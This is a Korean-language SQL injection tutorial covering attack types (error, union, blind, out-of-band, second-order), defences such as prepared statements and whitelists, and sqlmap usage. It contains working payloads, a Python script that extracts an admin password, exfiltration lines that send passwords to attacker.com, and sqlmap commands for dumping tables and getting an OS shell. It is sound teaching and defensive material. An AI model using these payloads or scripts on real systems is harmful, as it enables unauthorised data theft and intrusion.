기본 원리: SQL Injection이 왜 발생하는가
SQL Injection을 이해하려면 먼저 웹 애플리케이션이 어떻게 SQL 쿼리를 만드는지 알아야 한다.
문자열 연결이 문제다
대부분의 초기 웹 애플리케이션은 사용자 입력을 문자열로 직접 이어붙여 SQL 쿼리를 만든다.
# 개발자의 의도
username = request.get("username")
query = "SELECT * FROM users WHERE username = '" + username + "'"
개발자는 사용자가 alice를 입력한다고 가정한다:
SELECT * FROM users WHERE username = 'alice'
-- 이건 정상 동작
하지만 공격자가 alice' OR '1'='1를 입력하면:
SELECT * FROM users WHERE username = 'alice' OR '1'='1'
-- 항상 참 → 모든 레코드 반환
핵심 문제: 애플리케이션은 사용자 입력이 데이터인지 SQL 명령인지 구분하지 못한다. 작은따옴표(') 하나로 데이터 영역을 탈출해 SQL 명령을 삽입할 수 있다.
SQL 파서가 입력을 처리하는 방식
사용자 입력: alice' OR '1'='1
SQL 파서가 보는 것:
┌────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username = ' │ ← 쿼리 시작
│ alice │ ← 데이터 (의도한 부분)
│ ' │ ← 문자열 종료 (!)
│ OR '1'='1 │ ← SQL 명령으로 해석 (!)
└────────────────────────────────────────────┘
파서는 두 번째 '를 만나는 순간 문자열이 끝났다고 인식하고, 이후 내용을 SQL 명령으로 처리한다.
1. In-band SQL Injection
공격 결과가 동일한 HTTP 응답으로 반환되는 가장 직접적인 방식.
Error-based SQLi — 에러 메시지로 정보 추출
DB는 잘못된 쿼리에 에러 메시지를 반환한다. 이 메시지 안에 데이터를 담아 추출할 수 있다.
-- 취약한 쿼리
SELECT * FROM users WHERE id = '$input'
-- MySQL: EXTRACTVALUE로 에러 안에 데이터 포함
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
-- 실행되는 쿼리
SELECT * FROM users WHERE id = '' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --'
-- 서버 응답 (에러 메시지)
XPATH syntax error: '~8.0.32'
-- version() 결과가 에러 메시지에 그대로 노출됨!
왜 이게 되는가? EXTRACTVALUE(xml, xpath) 함수는 XPath 문법 오류가 나면 오류 메시지에 두 번째 인자를 포함해서 출력한다. 0x7e는 ~ 기호로, XPath에서 무효한 문자라 에러가 발생한다.
-- 더 유용한 데이터 추출
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()))) --
-- 현재 DB 이름
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --
-- 첫 번째 테이블 이름
Union-based SQLi — UNION으로 다른 테이블 조회
UNION은 두 SELECT의 결과를 합치는 SQL 명령이다. 원래 쿼리 결과에 공격자가 원하는 쿼리 결과를 덧붙일 수 있다.
전제 조건: UNION을 쓰려면 두 SELECT의 컬럼 수와 타입이 같아야 한다.
-- 1단계: 컬럼 수 파악
-- ORDER BY를 이용해 에러가 나는 지점 찾기
' ORDER BY 1 -- ← 정상
' ORDER BY 2 -- ← 정상
' ORDER BY 3 -- ← 에러! → 컬럼 수 = 2
-- 2단계: 출력되는 컬럼 위치 파악
' UNION SELECT NULL, NULL -- ← NULL로 먼저 테스트 (타입 오류 방지)
' UNION SELECT 'a', 'b' -- ← 문자열 위치 확인
-- 3단계: 원하는 데이터 추출
' UNION SELECT username, password FROM admin --
-- DB 정보 수집 (information_schema 활용)
' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema = database() --
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users' --
information_schema는 MySQL의 메타데이터 저장소다. 모든 DB, 테이블, 컬럼 정보가 담겨 있어 SQLi의 핵심 타겟이 된다.
2. Blind SQL Injection
쿼리 결과가 HTTP 응답에 직접 표시되지 않을 때 사용. 응답의 미묘한 차이나 시간 지연으로 참/거짓을 판단하며 데이터를 한 글자씩 추출한다.
Boolean-based Blind — 응답 차이로 비트 추출
-- 원리: 조건이 참이면 "Welcome"이 있고, 거짓이면 없는 페이지
' AND 1=1 -- ← 참 → "Welcome admin" 출력
' AND 1=2 -- ← 거짓 → 아무것도 없음
-- 비밀번호 첫 글자가 'a'인가?
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --
-- 비밀번호 길이 파악
' AND (SELECT LENGTH(password) FROM users WHERE username='admin') > 10 --
' AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 16 --
이 방법으로 비밀번호를 추출하려면 글자당 수십 번의 요청이 필요하다. 자동화가 필수다:
import requests
TARGET = "http://target.com/user?id="
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$"
def is_true(payload: str) -> bool:
"""쿼리가 참이면 True를 반환 (응답에 'Welcome' 포함 여부로 판단)"""
r = requests.get(TARGET + payload, timeout=5)
return "Welcome" in r.text
def extract_password(username: str) -> str:
# 1단계: 비밀번호 길이 파악
length = 0
for i in range(1, 64):
payload = f"1' AND (SELECT LENGTH(password) FROM users WHERE username='{username}')={i} -- "
if is_true(payload):
length = i
print(f"[+] Password length: {length}")
break
# 2단계: 글자 하나씩 추출
password = ""
for pos in range(1, length + 1):
for char in CHARSET:
payload = f"1' AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='{username}')='{char}' -- "
if is_true(payload):
password += char
print(f"[+] Position {pos}: {char} → {password}")
break
return password
result = extract_password("admin")
print(f"\n[✓] Password: {result}")
Time-based Blind — 응답 시간으로 판단
응답 내용이 동일해서 Boolean이 통하지 않을 때, 지연 시간으로 참/거짓을 구별한다.
-- MySQL: 조건이 참이면 5초 딜레이
' AND IF(
(SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a',
SLEEP(5),
0
) --
-- PostgreSQL
'; SELECT CASE
WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'
THEN pg_sleep(5)
ELSE pg_sleep(0)
END --
-- MSSQL
'; IF (SELECT TOP 1 SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'
WAITFOR DELAY '0:0:5' --
import requests
import time
def is_true_time(payload: str, threshold: float = 4.0) -> bool:
"""응답 시간이 threshold 초 이상이면 True"""
start = time.time()
try:
requests.get(TARGET + payload, timeout=10)
except requests.Timeout:
return True # 타임아웃도 지연으로 처리
return (time.time() - start) >= threshold
Time-based는 네트워크 지연에 영향받아 느리고 불안정하다. Boolean이 가능하면 Boolean을 우선 사용한다.
3. Out-of-band SQLi
방화벽이나 WAF로 응답 채널이 막혔을 때, DNS나 HTTP 요청으로 외부 서버에 데이터를 전송한다.
-- MySQL: LOAD_FILE로 UNC 경로 접근 (Windows + 설정 필요)
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a')) --
-- DNS 쿼리: 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
-- attacker.com 네임서버 로그에서 쿼리 데이터 확인
-- Microsoft SQL Server: xp_dirtree로 UNC 경로 요청
'; EXEC xp_dirtree '\\attacker.com\' + (SELECT password FROM users WHERE id=1) + '\share' --
-- Oracle: UTL_HTTP로 외부 요청
' UNION SELECT UTL_HTTP.request('http://attacker.com/?d='||(SELECT password FROM users WHERE rownum=1)) FROM dual --
4. 2차 SQL Injection
데이터가 DB에 저장될 때는 안전하게 처리됐지만, 나중에 조회해서 쓸 때 인젝션이 발생한다.
# 1단계: 악성 데이터를 DB에 저장 (이스케이프 적용됨)
username = "admin'--"
query = f"INSERT INTO users (username) VALUES ('{escape(username)}')"
# DB에 저장: admin'-- (이스케이프된 상태로 안전하게 저장)
# 2단계: 나중에 이 데이터를 꺼내 쿼리에 사용
# DB에서 가져오면 이스케이프가 제거됨 → 원본 admin'--
stored_username = db.get_username(user_id) # 반환값: admin'--
# 이 값을 그대로 쿼리에 넣으면 인젝션!
query = f"SELECT * FROM users WHERE username = '{stored_username}'"
# 실제: SELECT * FROM users WHERE username = 'admin'--'
개발자가 "DB에서 온 데이터는 믿을 수 있다"고 착각할 때 발생한다.
5. 방어 방법
✅ Prepared Statements (핵심 방어)
Prepared Statement는 SQL 구조와 데이터를 완전히 분리해서 전송한다. 데이터가 아무리 이상한 문자를 포함해도 SQL 명령으로 해석되지 않는다.
# Python + MySQL (안전)
import mysql.connector
conn = mysql.connector.connect(host="...", user="...", password="...", database="...")
cursor = conn.cursor()
# ❌ 취약
query = f"SELECT * FROM users WHERE username = '{username}'"
# ✅ 안전: ?는 플레이스홀더, 데이터와 쿼리가 별도 전송
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))
# 내부적으로:
# - 쿼리 구조를 먼저 DB에 컴파일
# - 데이터를 별도 패킷으로 전송
# - DB가 데이터를 절대 SQL로 해석하지 않음
// Java JDBC (안전)
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, userId); // 정수로 바인딩 → 문자열 이스케이프 불필요
ResultSet rs = pstmt.executeQuery();
// Node.js mysql2 (안전)
const [rows] = await pool.execute(
"SELECT * FROM users WHERE username = ? AND email = ?",
[username, email]
);
✅ ORM 사용
ORM(Object-Relational Mapping)은 내부적으로 Prepared Statement를 사용한다.
# Django ORM (안전 — 내부적으로 파라미터 바인딩)
User.objects.filter(username=username, active=True)
# SQLAlchemy (안전)
session.query(User).filter(User.username == username).first()
# ❌ ORM도 raw query는 위험
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'") # 취약!
User.objects.raw("SELECT * FROM users WHERE username = %s", [username]) # 안전
✅ 화이트리스트 검증 (동적 컬럼/테이블명)
컬럼명이나 테이블명은 파라미터 바인딩이 불가하다. 이 경우 화이트리스트로 검증한다.
ALLOWED_SORT_COLUMNS = {"username", "created_at", "email", "score"}
ALLOWED_SORT_ORDERS = {"ASC", "DESC"}
def build_order_clause(column: str, order: str) -> str:
if column not in ALLOWED_SORT_COLUMNS:
raise ValueError(f"Invalid column: {column}")
if order not in ALLOWED_SORT_ORDERS:
raise ValueError(f"Invalid order: {order}")
return f"ORDER BY {column} {order}" # 화이트리스트 통과 후 안전
❌ 블랙리스트 필터링 (하지 말 것)
# 위험: 우회 가능
def bad_filter(s):
for bad in ["'", "--", "OR", "UNION", "SELECT"]:
s = s.replace(bad, "")
return s
# 우회 예시:
# "OR" → "OoOrR" → 필터 후 "OR" (대소문자 중첩)
# "1 UNION SELECT" → "1 UNselectION SEselectLECT" → 필터 후 "1 UNION SELECT"
# 인코딩, 주석, 공백 변형 등 수백 가지 우회 방법 존재
6. 자동화 도구 — sqlmap
# 기본 사용
sqlmap -u "http://target.com/user?id=1"
# DB 목록 확인
sqlmap -u "http://target.com/user?id=1" --dbs
# 특정 DB의 테이블 목록
sqlmap -u "http://target.com/user?id=1" -D target_db --tables
# 테이블 데이터 덤프
sqlmap -u "http://target.com/user?id=1" -D target_db -T users --dump
# POST 요청
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test" \
-p username
# 쿠키 파라미터
sqlmap -u "http://target.com/profile" \
--cookie="session=abc123; user_id=1" \
-p user_id
# WAF 우회 (tamper 스크립트)
sqlmap -u "http://target.com/user?id=1" \
--tamper=space2comment,between,randomcase
# 시간 기반 (--level 높이면 더 많은 페이로드)
sqlmap -u "http://target.com/user?id=1" --level=5 --risk=3
# OS 쉘 획득 (권한 있을 때)
sqlmap -u "http://target.com/user?id=1" --os-shell
핵심 정리
| 종류 | 작동 방식 | 속도 | 조건 |
|---|---|---|---|
| Error-based | 에러 메시지에 데이터 포함 | 빠름 | 에러 메시지 노출 |
| Union-based | UNION으로 원하는 테이블 조회 | 빠름 | 컬럼 수 파악 필요 |
| Boolean Blind | 응답 내용 차이로 비트 추출 | 중간 | 참/거짓 판단 가능 |
| Time Blind | 응답 지연으로 비트 추출 | 느림 | 항상 사용 가능 |
| Out-of-band | DNS/HTTP로 외부 전송 | 빠름 | 아웃바운드 허용 필요 |
방어의 핵심: 사용자 입력을 SQL 구조에 직접 연결하지 말 것. Prepared Statement 또는 ORM 사용이 유일한 근본 해결책이다.